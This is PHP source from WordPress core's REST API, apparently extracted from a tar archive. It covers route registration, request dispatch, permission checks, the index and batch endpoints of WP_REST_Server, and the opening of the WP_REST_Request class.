			'body'    => $this->response_to_data( $response, $embed ),
			'status'  => $response->get_status(),
			'headers' => $response->get_headers(),
		);

		/**
		 * Filters the enveloped form of a REST API response.
		 *
		 * @since 4.4.0
		 *
		 * @param array            $envelope {
		 *     Envelope data.
		 *
		 *     @type array $body    Response data.
		 *     @type int   $status  The 3-digit HTTP status code.
		 *     @type array $headers Map of header name to header value.
		 * }
		 * @param WP_REST_Response $response Original response data.
		 */
		$envelope = apply_filters( 'rest_envelope_response', $envelope, $response );

		// Ensure it's still a response and return.
		return rest_ensure_response( $envelope );
	}

	/**
	 * Registers a route to the server.
	 *
	 * @since 4.4.0
	 *
	 * @param string $route_namespace Namespace.
	 * @param string $route           The REST route.
	 * @param array  $route_args      Route arguments.
	 * @param bool   $override        Optional. Whether the route should be overridden if it already exists.
	 *                                Default false.
	 */
	public function register_route( $route_namespace, $route, $route_args, $override = false ) {
		if ( ! isset( $this->namespaces[ $route_namespace ] ) ) {
			$this->namespaces[ $route_namespace ] = array();

			$this->register_route(
				$route_namespace,
				'/' . $route_namespace,
				array(
					array(
						'methods'  => self::READABLE,
						'callback' => array( $this, 'get_namespace_index' ),
						'args'     => array(
							'namespace' => array(
								'default' => $route_namespace,
							),
							'context'   => array(
								'default' => 'view',
							),
						),
					),
				)
			);
		}

		// Associative to avoid double-registration.
		$this->namespaces[ $route_namespace ][ $route ] = true;

		$route_args['namespace'] = $route_namespace;

		if ( $override || empty( $this->endpoints[ $route ] ) ) {
			$this->endpoints[ $route ] = $route_args;
		} else {
			$this->endpoints[ $route ] = array_merge( $this->endpoints[ $route ], $route_args );
		}
	}

	/**
	 * Retrieves the route map.
	 *
	 * The route map is an associative array with path regexes as the keys. The
	 * value is an indexed array with the callback function/method as the first
	 * item, and a bitmask of HTTP methods as the second item (see the class
	 * constants).
	 *
	 * Each route can be mapped to more than one callback by using an array of
	 * the indexed arrays. This allows mapping e.g. GET requests to one callback
	 * and POST requests to another.
	 *
	 * Note that the path regexes (array keys) must have @ escaped, as this is
	 * used as the delimiter with preg_match()
	 *
	 * @since 4.4.0
	 * @since 5.4.0 Added `$route_namespace` parameter.
	 *
	 * @param string $route_namespace Optionally, only return routes in the given namespace.
	 * @return array `'/path/regex' => array( $callback, $bitmask )` or
	 *               `'/path/regex' => array( array( $callback, $bitmask ), ...)`.
	 */
	public function get_routes( $route_namespace = '' ) {
		$endpoints = $this->endpoints;

		if ( $route_namespace ) {
			$endpoints = wp_list_filter( $endpoints, array( 'namespace' => $route_namespace ) );
		}

		/**
		 * Filters the array of available REST API endpoints.
		 *
		 * @since 4.4.0
		 *
		 * @param array $endpoints The available endpoints. An array of matching regex patterns, each mapped
		 *                         to an array of callbacks for the endpoint. These take the format
		 *                         `'/path/regex' => array( $callback, $bitmask )` or
		 *                         `'/path/regex' => array( array( $callback, $bitmask ).
		 */
		$endpoints = apply_filters( 'rest_endpoints', $endpoints );

		// Normalize the endpoints.
		$defaults = array(
			'methods'       => '',
			'accept_json'   => false,
			'accept_raw'    => false,
			'show_in_index' => true,
			'args'          => array(),
		);

		foreach ( $endpoints as $route => &$handlers ) {

			if ( isset( $handlers['callback'] ) ) {
				// Single endpoint, add one deeper.
				$handlers = array( $handlers );
			}

			if ( ! isset( $this->route_options[ $route ] ) ) {
				$this->route_options[ $route ] = array();
			}

			foreach ( $handlers as $key => &$handler ) {

				if ( ! is_numeric( $key ) ) {
					// Route option, move it to the options.
					$this->route_options[ $route ][ $key ] = $handler;
					unset( $handlers[ $key ] );
					continue;
				}

				$handler = wp_parse_args( $handler, $defaults );

				// Allow comma-separated HTTP methods.
				if ( is_string( $handler['methods'] ) ) {
					$methods = explode( ',', $handler['methods'] );
				} elseif ( is_array( $handler['methods'] ) ) {
					$methods = $handler['methods'];
				} else {
					$methods = array();
				}

				$handler['methods'] = array();

				foreach ( $methods as $method ) {
					$method                        = strtoupper( trim( $method ) );
					$handler['methods'][ $method ] = true;
				}
			}
		}

		return $endpoints;
	}

	/**
	 * Retrieves namespaces registered on the server.
	 *
	 * @since 4.4.0
	 *
	 * @return string[] List of registered namespaces.
	 */
	public function get_namespaces() {
		return array_keys( $this->namespaces );
	}

	/**
	 * Retrieves specified options for a route.
	 *
	 * @since 4.4.0
	 *
	 * @param string $route Route pattern to fetch options for.
	 * @return array|null Data as an associative array if found, or null if not found.
	 */
	public function get_route_options( $route ) {
		if ( ! isset( $this->route_options[ $route ] ) ) {
			return null;
		}

		return $this->route_options[ $route ];
	}

	/**
	 * Matches the request to a callback and call it.
	 *
	 * @since 4.4.0
	 *
	 * @param WP_REST_Request $request Request to attempt dispatching.
	 * @return WP_REST_Response Response returned by the callback.
	 */
	public function dispatch( $request ) {
		$this->dispatching_requests[] = $request;

		/**
		 * Filters the pre-calculated result of a REST API dispatch request.
		 *
		 * Allow hijacking the request before dispatching by returning a non-empty. The returned value
		 * will be used to serve the request instead.
		 *
		 * @since 4.4.0
		 *
		 * @param mixed           $result  Response to replace the requested version with. Can be anything
		 *                                 a normal endpoint can return, or null to not hijack the request.
		 * @param WP_REST_Server  $server  Server instance.
		 * @param WP_REST_Request $request Request used to generate the response.
		 */
		$result = apply_filters( 'rest_pre_dispatch', null, $this, $request );

		if ( ! empty( $result ) ) {

			// Normalize to either WP_Error or WP_REST_Response...
			$result = rest_ensure_response( $result );

			// ...then convert WP_Error across.
			if ( is_wp_error( $result ) ) {
				$result = $this->error_to_response( $result );
			}

			array_pop( $this->dispatching_requests );
			return $result;
		}

		$error   = null;
		$matched = $this->match_request_to_handler( $request );

		if ( is_wp_error( $matched ) ) {
			$response = $this->error_to_response( $matched );
			array_pop( $this->dispatching_requests );
			return $response;
		}

		list( $route, $handler ) = $matched;

		if ( ! is_callable( $handler['callback'] ) ) {
			$error = new WP_Error(
				'rest_invalid_handler',
				__( 'The handler for the route is invalid.' ),
				array( 'status' => 500 )
			);
		}

		if ( ! is_wp_error( $error ) ) {
			$check_required = $request->has_valid_params();
			if ( is_wp_error( $check_required ) ) {
				$error = $check_required;
			} else {
				$check_sanitized = $request->sanitize_params();
				if ( is_wp_error( $check_sanitized ) ) {
					$error = $check_sanitized;
				}
			}
		}

		$response = $this->respond_to_request( $request, $route, $handler, $error );
		array_pop( $this->dispatching_requests );
		return $response;
	}

	/**
	 * Returns whether the REST server is currently dispatching / responding to a request.
	 *
	 * This may be a standalone REST API request, or an internal request dispatched from within a regular page load.
	 *
	 * @since 6.5.0
	 *
	 * @return bool Whether the REST server is currently handling a request.
	 */
	public function is_dispatching() {
		return (bool) $this->dispatching_requests;
	}

	/**
	 * Matches a request object to its handler.
	 *
	 * @access private
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request The request object.
	 * @return array|WP_Error The route and request handler on success or a WP_Error instance if no handler was found.
	 */
	protected function match_request_to_handler( $request ) {
		$method = $request->get_method();
		$path   = $request->get_route();

		$with_namespace = array();

		foreach ( $this->get_namespaces() as $namespace ) {
			if ( str_starts_with( trailingslashit( ltrim( $path, '/' ) ), $namespace ) ) {
				$with_namespace[] = $this->get_routes( $namespace );
			}
		}

		if ( $with_namespace ) {
			$routes = array_merge( ...$with_namespace );
		} else {
			$routes = $this->get_routes();
		}

		foreach ( $routes as $route => $handlers ) {
			$match = preg_match( '@^' . $route . '$@i', $path, $matches );

			if ( ! $match ) {
				continue;
			}

			$args = array();

			foreach ( $matches as $param => $value ) {
				if ( ! is_int( $param ) ) {
					$args[ $param ] = $value;
				}
			}

			foreach ( $handlers as $handler ) {
				$callback = $handler['callback'];

				// Fallback to GET method if no HEAD method is registered.
				$checked_method = $method;
				if ( 'HEAD' === $method && empty( $handler['methods']['HEAD'] ) ) {
					$checked_method = 'GET';
				}
				if ( empty( $handler['methods'][ $checked_method ] ) ) {
					continue;
				}

				if ( ! is_callable( $callback ) ) {
					return array( $route, $handler );
				}

				$request->set_url_params( $args );
				$request->set_attributes( $handler );

				$defaults = array();

				foreach ( $handler['args'] as $arg => $options ) {
					if ( isset( $options['default'] ) ) {
						$defaults[ $arg ] = $options['default'];
					}
				}

				$request->set_default_params( $defaults );

				return array( $route, $handler );
			}
		}

		return new WP_Error(
			'rest_no_route',
			__( 'No route was found matching the URL and request method.' ),
			array( 'status' => 404 )
		);
	}

	/**
	 * Dispatches the request to the callback handler.
	 *
	 * @access private
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request  The request object.
	 * @param string          $route    The matched route regex.
	 * @param array           $handler  The matched route handler.
	 * @param WP_Error|null   $response The current error object if any.
	 * @return WP_REST_Response
	 */
	protected function respond_to_request( $request, $route, $handler, $response ) {
		/**
		 * Filters the response before executing any REST API callbacks.
		 *
		 * Allows plugins to perform additional validation after a
		 * request is initialized and matched to a registered route,
		 * but before it is executed.
		 *
		 * Note that this filter will not be called for requests that
		 * fail to authenticate or match to a registered route.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response|WP_HTTP_Response|WP_Error|mixed $response Result to send to the client.
		 *                                                                   Usually a WP_REST_Response or WP_Error.
		 * @param array                                            $handler  Route handler used for the request.
		 * @param WP_REST_Request                                  $request  Request used to generate the response.
		 */
		$response = apply_filters( 'rest_request_before_callbacks', $response, $handler, $request );

		// Check permission specified on the route.
		if ( ! is_wp_error( $response ) && ! empty( $handler['permission_callback'] ) ) {
			$permission = call_user_func( $handler['permission_callback'], $request );

			if ( is_wp_error( $permission ) ) {
				$response = $permission;
			} elseif ( false === $permission || null === $permission ) {
				$response = new WP_Error(
					'rest_forbidden',
					__( 'Sorry, you are not allowed to do that.' ),
					array( 'status' => rest_authorization_required_code() )
				);
			}
		}

		if ( ! is_wp_error( $response ) ) {
			/**
			 * Filters the REST API dispatch request result.
			 *
			 * Allow plugins to override dispatching the request.
			 *
			 * @since 4.4.0
			 * @since 4.5.0 Added `$route` and `$handler` parameters.
			 *
			 * @param mixed           $dispatch_result Dispatch result, will be used if not empty.
			 * @param WP_REST_Request $request         Request used to generate the response.
			 * @param string          $route           Route matched for the request.
			 * @param array           $handler         Route handler used for the request.
			 */
			$dispatch_result = apply_filters( 'rest_dispatch_request', null, $request, $route, $handler );

			// Allow plugins to halt the request via this filter.
			if ( null !== $dispatch_result ) {
				$response = $dispatch_result;
			} else {
				$response = call_user_func( $handler['callback'], $request );
			}
		}

		/**
		 * Filters the response immediately after executing any REST API
		 * callbacks.
		 *
		 * Allows plugins to perform any needed cleanup, for example,
		 * to undo changes made during the {@see 'rest_request_before_callbacks'}
		 * filter.
		 *
		 * Note that this filter will not be called for requests that
		 * fail to authenticate or match to a registered route.
		 *
		 * Note that an endpoint's `permission_callback` can still be
		 * called after this filter - see `rest_send_allow_header()`.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response|WP_HTTP_Response|WP_Error|mixed $response Result to send to the client.
		 *                                                                   Usually a WP_REST_Response or WP_Error.
		 * @param array                                            $handler  Route handler used for the request.
		 * @param WP_REST_Request                                  $request  Request used to generate the response.
		 */
		$response = apply_filters( 'rest_request_after_callbacks', $response, $handler, $request );

		if ( is_wp_error( $response ) ) {
			$response = $this->error_to_response( $response );
		} else {
			$response = rest_ensure_response( $response );
		}

		$response->set_matched_route( $route );
		$response->set_matched_handler( $handler );

		return $response;
	}

	/**
	 * Returns if an error occurred during most recent JSON encode/decode.
	 *
	 * Strings to be translated will be in format like
	 * "Encoding error: Maximum stack depth exceeded".
	 *
	 * @since 4.4.0
	 *
	 * @return false|string Boolean false or string error message.
	 */
	protected function get_json_last_error() {
		$last_error_code = json_last_error();

		if ( JSON_ERROR_NONE === $last_error_code || empty( $last_error_code ) ) {
			return false;
		}

		return json_last_error_msg();
	}

	/**
	 * Retrieves the site index.
	 *
	 * This endpoint describes the capabilities of the site.
	 *
	 * @since 4.4.0
	 *
	 * @param array $request {
	 *     Request.
	 *
	 *     @type string $context Context.
	 * }
	 * @return WP_REST_Response The API root index data.
	 */
	public function get_index( $request ) {
		// General site data.
		$available = array(
			'name'            => get_option( 'blogname' ),
			'description'     => get_option( 'blogdescription' ),
			'url'             => get_option( 'siteurl' ),
			'home'            => home_url(),
			'gmt_offset'      => get_option( 'gmt_offset' ),
			'timezone_string' => get_option( 'timezone_string' ),
			'page_for_posts'  => (int) get_option( 'page_for_posts' ),
			'page_on_front'   => (int) get_option( 'page_on_front' ),
			'show_on_front'   => get_option( 'show_on_front' ),
			'namespaces'      => array_keys( $this->namespaces ),
			'authentication'  => array(),
			'routes'          => $this->get_data_for_routes( $this->get_routes(), $request['context'] ),
		);

		$response = new WP_REST_Response( $available );

		$fields = isset( $request['_fields'] ) ? $request['_fields'] : '';
		$fields = wp_parse_list( $fields );
		if ( empty( $fields ) ) {
			$fields[] = '_links';
		}

		if ( $request->has_param( '_embed' ) ) {
			$fields[] = '_embedded';
		}

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_link( 'help', 'https://developer.wordpress.org/rest-api/' );
			$this->add_active_theme_link_to_index( $response );
			$this->add_site_logo_to_index( $response );
			$this->add_site_icon_to_index( $response );
		} else {
			if ( rest_is_field_included( 'site_logo', $fields ) ) {
				$this->add_site_logo_to_index( $response );
			}
			if ( rest_is_field_included( 'site_icon', $fields ) || rest_is_field_included( 'site_icon_url', $fields ) ) {
				$this->add_site_icon_to_index( $response );
			}
		}

		/**
		 * Filters the REST API root index data.
		 *
		 * This contains the data describing the API. This includes information
		 * about supported authentication schemes, supported namespaces, routes
		 * available on the API, and a small amount of data about the site.
		 *
		 * @since 4.4.0
		 * @since 6.0.0 Added `$request` parameter.
		 *
		 * @param WP_REST_Response $response Response data.
		 * @param WP_REST_Request  $request  Request data.
		 */
		return apply_filters( 'rest_index', $response, $request );
	}

	/**
	 * Adds a link to the active theme for users who have proper permissions.
	 *
	 * @since 5.7.0
	 *
	 * @param WP_REST_Response $response REST API response.
	 */
	protected function add_active_theme_link_to_index( WP_REST_Response $response ) {
		$should_add = current_user_can( 'switch_themes' ) || current_user_can( 'manage_network_themes' );

		if ( ! $should_add && current_user_can( 'edit_posts' ) ) {
			$should_add = true;
		}

		if ( ! $should_add ) {
			foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
				if ( current_user_can( $post_type->cap->edit_posts ) ) {
					$should_add = true;
					break;
				}
			}
		}

		if ( $should_add ) {
			$theme = wp_get_theme();
			$response->add_link( 'https://api.w.org/active-theme', rest_url( 'wp/v2/themes/' . $theme->get_stylesheet() ) );
		}
	}

	/**
	 * Exposes the site logo through the WordPress REST API.
	 *
	 * This is used for fetching this information when user has no rights
	 * to update settings.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Response $response REST API response.
	 */
	protected function add_site_logo_to_index( WP_REST_Response $response ) {
		$site_logo_id = get_theme_mod( 'custom_logo', 0 );

		$this->add_image_to_index( $response, $site_logo_id, 'site_logo' );
	}

	/**
	 * Exposes the site icon through the WordPress REST API.
	 *
	 * This is used for fetching this information when user has no rights
	 * to update settings.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Response $response REST API response.
	 */
	protected function add_site_icon_to_index( WP_REST_Response $response ) {
		$site_icon_id = get_option( 'site_icon', 0 );

		$this->add_image_to_index( $response, $site_icon_id, 'site_icon' );

		$response->data['site_icon_url'] = get_site_icon_url();
	}

	/**
	 * Exposes an image through the WordPress REST API.
	 * This is used for fetching this information when user has no rights
	 * to update settings.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Response $response REST API response.
	 * @param int              $image_id Image attachment ID.
	 * @param string           $type     Type of Image.
	 */
	protected function add_image_to_index( WP_REST_Response $response, $image_id, $type ) {
		$response->data[ $type ] = (int) $image_id;
		if ( $image_id ) {
			$response->add_link(
				'https://api.w.org/featuredmedia',
				rest_url( rest_get_route_for_post( $image_id ) ),
				array(
					'embeddable' => true,
					'type'       => $type,
				)
			);
		}
	}

	/**
	 * Retrieves the index for a namespace.
	 *
	 * @since 4.4.0
	 *
	 * @param WP_REST_Request $request REST request instance.
	 * @return WP_REST_Response|WP_Error WP_REST_Response instance if the index was found,
	 *                                   WP_Error if the namespace isn't set.
	 */
	public function get_namespace_index( $request ) {
		$namespace = $request['namespace'];

		if ( ! isset( $this->namespaces[ $namespace ] ) ) {
			return new WP_Error(
				'rest_invalid_namespace',
				__( 'The specified namespace could not be found.' ),
				array( 'status' => 404 )
			);
		}

		$routes    = $this->namespaces[ $namespace ];
		$endpoints = array_intersect_key( $this->get_routes(), $routes );

		$data     = array(
			'namespace' => $namespace,
			'routes'    => $this->get_data_for_routes( $endpoints, $request['context'] ),
		);
		$response = rest_ensure_response( $data );

		// Link to the root index.
		$response->add_link( 'up', rest_url( '/' ) );

		/**
		 * Filters the REST API namespace index data.
		 *
		 * This typically is just the route data for the namespace, but you can
		 * add any data you'd like here.
		 *
		 * @since 4.4.0
		 *
		 * @param WP_REST_Response $response Response data.
		 * @param WP_REST_Request  $request  Request data. The namespace is passed as the 'namespace' parameter.
		 */
		return apply_filters( 'rest_namespace_index', $response, $request );
	}

	/**
	 * Retrieves the publicly-visible data for routes.
	 *
	 * @since 4.4.0
	 *
	 * @param array  $routes  Routes to get data for.
	 * @param string $context Optional. Context for data. Accepts 'view' or 'help'. Default 'view'.
	 * @return array[] Route data to expose in indexes, keyed by route.
	 */
	public function get_data_for_routes( $routes, $context = 'view' ) {
		$available = array();

		// Find the available routes.
		foreach ( $routes as $route => $callbacks ) {
			$data = $this->get_data_for_route( $route, $callbacks, $context );
			if ( empty( $data ) ) {
				continue;
			}

			/**
			 * Filters the publicly-visible data for a single REST API route.
			 *
			 * @since 4.4.0
			 *
			 * @param array $data Publicly-visible data for the route.
			 */
			$available[ $route ] = apply_filters( 'rest_endpoints_description', $data );
		}

		/**
		 * Filters the publicly-visible data for REST API routes.
		 *
		 * This data is exposed on indexes and can be used by clients or
		 * developers to investigate the site and find out how to use it. It
		 * acts as a form of self-documentation.
		 *
		 * @since 4.4.0
		 *
		 * @param array[] $available Route data to expose in indexes, keyed by route.
		 * @param array   $routes    Internal route data as an associative array.
		 */
		return apply_filters( 'rest_route_data', $available, $routes );
	}

	/**
	 * Retrieves publicly-visible data for the route.
	 *
	 * @since 4.4.0
	 *
	 * @param string $route     Route to get data for.
	 * @param array  $callbacks Callbacks to convert to data.
	 * @param string $context   Optional. Context for the data. Accepts 'view' or 'help'. Default 'view'.
	 * @return array|null Data for the route, or null if no publicly-visible data.
	 */
	public function get_data_for_route( $route, $callbacks, $context = 'view' ) {
		$data = array(
			'namespace' => '',
			'methods'   => array(),
			'endpoints' => array(),
		);

		$allow_batch = false;

		if ( isset( $this->route_options[ $route ] ) ) {
			$options = $this->route_options[ $route ];

			if ( isset( $options['namespace'] ) ) {
				$data['namespace'] = $options['namespace'];
			}

			$allow_batch = isset( $options['allow_batch'] ) ? $options['allow_batch'] : false;

			if ( isset( $options['schema'] ) && 'help' === $context ) {
				$data['schema'] = call_user_func( $options['schema'] );
			}
		}

		$allowed_schema_keywords = array_flip( rest_get_allowed_schema_keywords() );

		$route = preg_replace( '#\(\?P<(\w+?)>.*?\)#', '{$1}', $route );

		foreach ( $callbacks as $callback ) {
			// Skip to the next route if any callback is hidden.
			if ( empty( $callback['show_in_index'] ) ) {
				continue;
			}

			$data['methods'] = array_merge( $data['methods'], array_keys( $callback['methods'] ) );
			$endpoint_data   = array(
				'methods' => array_keys( $callback['methods'] ),
			);

			$callback_batch = isset( $callback['allow_batch'] ) ? $callback['allow_batch'] : $allow_batch;

			if ( $callback_batch ) {
				$endpoint_data['allow_batch'] = $callback_batch;
			}

			if ( isset( $callback['args'] ) ) {
				$endpoint_data['args'] = array();

				foreach ( $callback['args'] as $key => $opts ) {
					if ( is_string( $opts ) ) {
						$opts = array( $opts => 0 );
					} elseif ( ! is_array( $opts ) ) {
						$opts = array();
					}
					$arg_data             = array_intersect_key( $opts, $allowed_schema_keywords );
					$arg_data['required'] = ! empty( $opts['required'] );

					$endpoint_data['args'][ $key ] = $arg_data;
				}
			}

			$data['endpoints'][] = $endpoint_data;

			// For non-variable routes, generate links.
			if ( ! str_contains( $route, '{' ) ) {
				$data['_links'] = array(
					'self' => array(
						array(
							'href' => rest_url( $route ),
						),
					),
				);
			}
		}

		if ( empty( $data['methods'] ) ) {
			// No methods supported, hide the route.
			return null;
		}

		return $data;
	}

	/**
	 * Gets the maximum number of requests that can be included in a batch.
	 *
	 * @since 5.6.0
	 *
	 * @return int The maximum requests.
	 */
	protected function get_max_batch_size() {
		/**
		 * Filters the maximum number of REST API requests that can be included in a batch.
		 *
		 * @since 5.6.0
		 *
		 * @param int $max_size The maximum size.
		 */
		return apply_filters( 'rest_get_max_batch_size', 25 );
	}

	/**
	 * Serves the batch/v1 request.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $batch_request The batch request object.
	 * @return WP_REST_Response The generated response object.
	 */
	public function serve_batch_request_v1( WP_REST_Request $batch_request ) {
		$requests = array();

		foreach ( $batch_request['requests'] as $args ) {
			$parsed_url = wp_parse_url( $args['path'] );

			if ( false === $parsed_url ) {
				$requests[] = new WP_Error( 'parse_path_failed', __( 'Could not parse the path.' ), array( 'status' => 400 ) );

				continue;
			}

			$single_request = new WP_REST_Request( isset( $args['method'] ) ? $args['method'] : 'POST', $parsed_url['path'] );

			if ( ! empty( $parsed_url['query'] ) ) {
				$query_args = array();
				wp_parse_str( $parsed_url['query'], $query_args );
				$single_request->set_query_params( $query_args );
			}

			if ( ! empty( $args['body'] ) ) {
				$single_request->set_body_params( $args['body'] );
			}

			if ( ! empty( $args['headers'] ) ) {
				$single_request->set_headers( $args['headers'] );
			}

			$requests[] = $single_request;
		}

		$matches    = array();
		$validation = array();
		$has_error  = false;

		foreach ( $requests as $single_request ) {
			$match     = $this->match_request_to_handler( $single_request );
			$matches[] = $match;
			$error     = null;

			if ( is_wp_error( $match ) ) {
				$error = $match;
			}

			if ( ! $error ) {
				list( $route, $handler ) = $match;

				if ( isset( $handler['allow_batch'] ) ) {
					$allow_batch = $handler['allow_batch'];
				} else {
					$route_options = $this->get_route_options( $route );
					$allow_batch   = isset( $route_options['allow_batch'] ) ? $route_options['allow_batch'] : false;
				}

				if ( ! is_array( $allow_batch ) || empty( $allow_batch['v1'] ) ) {
					$error = new WP_Error(
						'rest_batch_not_allowed',
						__( 'The requested route does not support batch requests.' ),
						array( 'status' => 400 )
					);
				}
			}

			if ( ! $error ) {
				$check_required = $single_request->has_valid_params();
				if ( is_wp_error( $check_required ) ) {
					$error = $check_required;
				}
			}

			if ( ! $error ) {
				$check_sanitized = $single_request->sanitize_params();
				if ( is_wp_error( $check_sanitized ) ) {
					$error = $check_sanitized;
				}
			}

			if ( $error ) {
				$has_error    = true;
				$validation[] = $error;
			} else {
				$validation[] = true;
			}
		}

		$responses = array();

		if ( $has_error && 'require-all-validate' === $batch_request['validation'] ) {
			foreach ( $validation as $valid ) {
				if ( is_wp_error( $valid ) ) {
					$responses[] = $this->envelope_response( $this->error_to_response( $valid ), false )->get_data();
				} else {
					$responses[] = null;
				}
			}

			return new WP_REST_Response(
				array(
					'failed'    => 'validation',
					'responses' => $responses,
				),
				WP_Http::MULTI_STATUS
			);
		}

		foreach ( $requests as $i => $single_request ) {
			$clean_request = clone $single_request;
			$clean_request->set_url_params( array() );
			$clean_request->set_attributes( array() );
			$clean_request->set_default_params( array() );

			/** This filter is documented in wp-includes/rest-api/class-wp-rest-server.php */
			$result = apply_filters( 'rest_pre_dispatch', null, $this, $clean_request );

			if ( empty( $result ) ) {
				$match = $matches[ $i ];
				$error = null;

				if ( is_wp_error( $validation[ $i ] ) ) {
					$error = $validation[ $i ];
				}

				if ( is_wp_error( $match ) ) {
					$result = $this->error_to_response( $match );
				} else {
					list( $route, $handler ) = $match;

					if ( ! $error && ! is_callable( $handler['callback'] ) ) {
						$error = new WP_Error(
							'rest_invalid_handler',
							__( 'The handler for the route is invalid' ),
							array( 'status' => 500 )
						);
					}

					$result = $this->respond_to_request( $single_request, $route, $handler, $error );
				}
			}

			/** This filter is documented in wp-includes/rest-api/class-wp-rest-server.php */
			$result = apply_filters( 'rest_post_dispatch', rest_ensure_response( $result ), $this, $single_request );

			$responses[] = $this->envelope_response( $result, false )->get_data();
		}

		return new WP_REST_Response( array( 'responses' => $responses ), WP_Http::MULTI_STATUS );
	}

	/**
	 * Sends an HTTP status code.
	 *
	 * @since 4.4.0
	 *
	 * @param int $code HTTP status.
	 */
	protected function set_status( $code ) {
		status_header( $code );
	}

	/**
	 * Sends an HTTP header.
	 *
	 * @since 4.4.0
	 *
	 * @param string $key Header key.
	 * @param string $value Header value.
	 */
	public function send_header( $key, $value ) {
		/*
		 * Sanitize as per RFC2616 (Section 4.2):
		 *
		 * Any LWS that occurs between field-content MAY be replaced with a
		 * single SP before interpreting the field value or forwarding the
		 * message downstream.
		 */
		$value = preg_replace( '/\s+/', ' ', $value );
		header( sprintf( '%s: %s', $key, $value ) );
	}

	/**
	 * Sends multiple HTTP headers.
	 *
	 * @since 4.4.0
	 *
	 * @param array $headers Map of header name to header value.
	 */
	public function send_headers( $headers ) {
		foreach ( $headers as $key => $value ) {
			$this->send_header( $key, $value );
		}
	}

	/**
	 * Removes an HTTP header from the current response.
	 *
	 * @since 4.8.0
	 *
	 * @param string $key Header key.
	 */
	public function remove_header( $key ) {
		header_remove( $key );
	}

	/**
	 * Retrieves the raw request entity (body).
	 *
	 * @since 4.4.0
	 *
	 * @global string $HTTP_RAW_POST_DATA Raw post data.
	 *
	 * @return string Raw request data.
	 */
	public static function get_raw_data() {
		// phpcs:disable PHPCompatibility.Variables.RemovedPredefinedGlobalVariables.http_raw_post_dataDeprecatedRemoved
		global $HTTP_RAW_POST_DATA;

		// $HTTP_RAW_POST_DATA was deprecated in PHP 5.6 and removed in PHP 7.0.
		if ( ! isset( $HTTP_RAW_POST_DATA ) ) {
			$HTTP_RAW_POST_DATA = file_get_contents( 'php://input' );
		}

		return $HTTP_RAW_POST_DATA;
		// phpcs:enable
	}

	/**
	 * Extracts headers from a PHP-style $_SERVER array.
	 *
	 * @since 4.4.0
	 *
	 * @param array $server Associative array similar to `$_SERVER`.
	 * @return array Headers extracted from the input.
	 */
	public function get_headers( $server ) {
		$headers = array();

		// CONTENT_* headers are not prefixed with HTTP_.
		$additional = array(
			'CONTENT_LENGTH' => true,
			'CONTENT_MD5'    => true,
			'CONTENT_TYPE'   => true,
		);

		foreach ( $server as $key => $value ) {
			if ( str_starts_with( $key, 'HTTP_' ) ) {
				$headers[ substr( $key, 5 ) ] = $value;
			} elseif ( 'REDIRECT_HTTP_AUTHORIZATION' === $key && empty( $server['HTTP_AUTHORIZATION'] ) ) {
				/*
				 * In some server configurations, the authorization header is passed in this alternate location.
				 * Since it would not be passed in in both places we do not check for both headers and resolve.
				 */
				$headers['AUTHORIZATION'] = $value;
			} elseif ( isset( $additional[ $key ] ) ) {
				$headers[ $key ] = $value;
			}
		}

		return $headers;
	}
}
class-wp-rest-request.php000064400000063626151024200430011453 0ustar00<?php
/**
 * REST API: WP_REST_Request class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.4.0
 */

/**
 * Core class used to implement a REST request object.
 *
 * Contains data from the request, to be passed to the callback.
 *
 * Note: This implements ArrayAccess, and acts as an array of parameters when
 * used in that manner. It does not use ArrayObject (as we cannot rely on SPL),
 * so be aware it may have non-array behavior in some cases.
 *
 * Note: When using features provided by ArrayAccess, be aware that WordPress deliberately
 * does not distinguish between arguments of the same name for different request methods.
 * For instance, in a request with `GET id=1` and `POST id=2`, `$request['id']` will equal
 * 2 (`POST`) not 1 (`GET`). For more precision between request methods, use
 * WP_REST_Request::get_body_params(), WP_REST_Request::get_url_params(), etc.
 *
 * @since 4.4.0
 *
 * @link https://www.php.net/manual/en/class.arrayaccess.php
 */
#[AllowDynamicProperties]
class WP_REST_Request implements ArrayAccess {

	/**
	 * HTTP method.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	protected $method = '';

	/**
	 * Parameters passed to the request.
	 *
	 * These typically come from the `$_GET`, `$_POST` and `$_FILES`
	 * superglobals when being created from the global scope.
	 *
	 * @since 4.4.0
	 * @var array Contains GET, POST and FILES keys mapping to arrays of data.
	 */
	protected $params;

	/**
	 * HTTP headers for the request.
	 *
	 * @since 4.4.0
	 * @var array Map of key to value. Key is always lowercase, as per HTTP specification.
	 */
	protected $headers = array();

	/**
	 * Body data.
	 *
	 * @since 4.4.0
	 * @var string Binary data from the request.
	 */
	protected $body = null;

	/**
	 * Route matched for the request.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	protected $route;

	/**
	 * Attributes (options) for the route that was matched.
	 *
	 * This is the options array used when the route was registered, typically
	 * containing the callback as well as the valid methods for the route.
	 *
	 * @since 4.4.0
	 * @var array Attributes for the request.
	 */
	protected $attributes = array();

	/**
	 * Used to determine if the JSON data has been parsed yet.
	 *
	 * Allows lazy-parsing of JSON data where possible.
	 *
	 * @since 4.4.0
	 * @var bool
	 */
	protected $parsed_json = false;

	/**
	 * Used to determine if the body data has been parsed yet.
	 *
	 * @since 4.4.0
	 * @var bool
	 */
	protected $parsed_body = false;

	/**
	 * Constructor.
	 *
	 * @since 4.4.0
	 *
	 * @param string $method     Optional. Request method. Default empty.
	 * @param string $route      Optional. Request route. Default empty.
	 * @param array  $attributes Optional. Request attributes. Default empty array.
	 */
	public function __construct( $method = '', $route = '', $attributes = array() ) {
		$this->params = array(
			'URL'      => array(),
			'GET'      => array(),
			'POST'     => array(),
			'FILES'    => array(),

			// See parse_json_params.
			'JSON'     => null,

			'defaults' => array(),
		);

		$this->set_method( $method );
		$this->set_route( $route );
		$this->set_attributes( $attributes );
	}

	/**
	 * Retrieves the HTTP method for the request.
	 *
	 * @since 4.4.0
